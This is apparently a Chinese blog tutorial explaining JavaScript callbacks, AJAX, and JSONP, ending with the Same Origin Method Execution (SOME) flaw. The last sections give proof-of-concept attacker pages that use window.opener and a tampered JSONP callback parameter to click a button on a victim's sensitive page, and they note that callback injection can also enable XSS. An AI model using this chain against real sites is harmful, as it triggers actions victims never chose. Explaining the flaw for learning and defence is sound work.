0x00 before
以前一直对回调有些迷糊,似懂非懂,虽然能明白用法和原理,但总有些小疑问,比如,为啥偏要用回调。今天集中看了很多博客,再配合上SOME的理解,感觉收获颇多,故给大家一起分享。
0x01 什么是JS的回调函数
见网上有人说:函数a有一个参数,这个参数是个函数b,当函数a执行完以后执行函数b。那么这个过程就叫回调。
其实并不全对,函数a执行过程中执行了函数b,那也是回调。在我觉得回调的关键其实就是在正常处理的函数体中,去嵌套一个可变的灵活函数来辅助我们完成一些复杂的工作。
语言太乏力,代码见人心:
//这是一个正常函数
function people(weapon) {
alert("我是一个兵!");
weapon();
}
//准备回调的函数A
var A = function (){
alert("我有一把手枪!");
}
//准备回调的函数B
var B = function (){
alert("我有一挺机关枪!");
}
people(A) //这是一个装备了手枪的士兵
people(B) //这是一个装备了机关枪的士兵
上面就是一个最简单的回调。
以前我一直有个疑问,这不是多此一举吗,直接调用函数也可以办到啊!为什么要这么做呢?
其实回调的第一个好处就是:灵活! 你想想,如果你写死了代码,以后想为士兵换武器怎么办?在这里,将需要调用的函数当作参数传给一个”正常“的函数,我们就可以在不修改原功能代码的情况下,随意扩展!
仅仅是这样?那也只是按顺序执行了一个自定义的函数而已,感觉和回调这两个完全没有关系啊!
0x02 异步回调,方显真正威力
的确,上面的例子完全没有体现出回调的魅力,至少,回调中的”回”字,我们并没有一个直观的感受。
其实回调也分两种,同步回调和异步回调,刚刚的就是同步回调,函数按顺序执行,只不过是有一个自定义的函数功能,其它语言里指针和引用其实也可以做到类似的功能。
我觉得JS中的回调真正厉害的地方是异步的回调,它不仅让我们可以自定义处理的函数,还可以让我们决定什么时候触发这个函数,并且主进程不会因为这个函数而阻塞。
//当状态改变时触发回调函数
xmlhttp.onreadystatechange = function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
//do something
}
}
xmlhttp.open("GET","test.txt",true);
xmlhttp.send();
这是一部分最熟悉不过的AJAX代码,其中最核心的地方就是依靠onreadystatechange来触发回调函数,我们才可以异步的进行请求和处理,这一小段代码可是极大的推动了Web的发展。
而且从上面这段代码我们也可以看出来,整个流程不会因为回调函数而阻塞,会等到条件满足时(即状态改变时)再回过头来处理,JS为这些异步回调函数都新建线程,分别完成各自的事务。换做其它语言,你多半得自己进行多线程处理,监听状态,完成调用,还要考虑并发中的同步和互斥问题,想想就觉得是一场噩梦。
0x03 有个用来跨域的东西叫JSONP
跨域通信不过七大方法(document.domain、片段标识符、window.name、window.postMessage(包括读写LocalStorage)、WebSocket、CORS和JSONP),其中最为常用的便是JSONP,一般用它来配合AJAX跨域异步请求数据。它是普通AJAX的跨域改进型,除了多了跨域功能外,使用方法没有任何区别。它有个很大的优点,兼容!虽然CORS现在比它强大,但也不是所有站点和浏览器都支持。比如我在站点 a.test.com
,我现在需要向api.test.com
请求数据,这时一般会用到JSONP,方便,快捷。
下面是一个简单的例子:
function addScriptTag(src) {
var script = document.createElement('script');
script.src = src;
document.body.appendChild(script);
}
window.onload = function () {
addScriptTag('http://api.test.com/what?callback=evil');
}
function evil(data) {
alert(data);
};
JSONP只支持GET请求,所以上面核心的地方很简单,就是在请求URL后加一个callback参数,告诉服务器和客户端,当得到响应的数据后,用哪个函数去解析它。
返回的数据类似于这样的:
evil({"a":1, "b":2})
中间的数据就是服务器返回的json数据,我们用回调的话相当于把数据当作对象处理(JS一切都是对象嘛),然后免去了手动解析json的步骤,简直方便好用,代码还很少。
0x04 滥用回调造成的SOME
什么是SOME?
同源 方法执行漏洞,注意我的断句,意思就是利用同源页面的callback回调缺陷,来执行一些用户不愿意执行的敏感操作。这听起来其实有点像CSRF,但它比CSRF更进一步,用它执行的敏感操作和正常的操作没什么两样。
通俗一点来解释,当我们完成了某个操作请求,浏览器执行回调函数时,执行的函数名就是请求中callback参数对应的值,这个GET请求一般是由页面中的JS发出的,但如果我们能够控制callback参数的值,想想会发生什么?
举个例子:
http://test.com/login?callback=show/
这是一个常见的登陆URL,用户用这个URL完成登陆以后,跳转到首页,此时服务器返回如下响应:
......
......
<script src="http://api.test.com/profile?userid=123465&callback=show"></script>
<script>function show(data){ ...do something ...}</script>
......
......
上面是一个JSONP的跨域请求,看起来没有什么不对,服务器返回数据以后就会执行show函数直接解析数据,这一切都很美好。
但当我们把最开始callback参数改一下会有什么影响?
1. 如果服务器直接拼接用户输入的参数到响应中,我们可以XSS。
2. 即使它做了过滤,我们可以把函数改为本页面中的一些敏感函数。
3. 就算没有敏感函数,我们还可以利用JS的DOM操作来完成对该页面上任意节点的访问(比如某个重要按钮的click点击事件)。
感觉这种情况不太容易让用户上当?或者这种情况不太常见?
0x05 我来帮你打开页面
浏览器中window对象下有个属性叫opener,假如在A页面中点击链接或者用JS的window.open方法打开了一个新标签页面B,那么B页面此时就可以用window.opener.document来操纵A页面了(当然大前提是同源),不同源的话依旧可以对A页面的location进行写操作。
有了以上基础,我们的利用场景变宽了许多。
此时假设我们有一个页面A,当用户点击时,先打开一个我们的页面B,再导航到一个想操纵的敏感页面:
页面A:
<script>
function evil() {
window.open("B.html");
location.replace("http://secrect.com/action/");
}
setTimeout(evil,1000);
</script>
敏感页面:
<html>
<head>
</head>
<body>
<form action="...">
<input type="submit" value="敏感操作">
</form>
</body>
</html>
此时页面B将等待页面A成功导航到敏感页以后,自己导航到一个存在SOME漏洞的页面:
页面B:
<script>
function waitForA() {
location.replace("http://secrect.com/vulnerability?callback=window.opener.document.body.firstChild.firstChild.click");
}
setTimeout(waitForA,3000);
</script>
请求响应成功后,页面A的敏感操作被执行。
在3秒钟内,用户最开始只是点了一个页面A的链接,接着便通过SOME漏洞完成了敏感操作。
0x06 小结
写这篇博客就是想对回调和SOME做一个简单的总结,印象深刻一些,同时自己的理解也能更进一步。
如果有不对之处,还望大家指出。
参考:
http://www.2cto.com/article/201607/528197.html
http://www.mottoin.com/91299.html
http://bobao.360.cn/learning/detail/463.html
http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html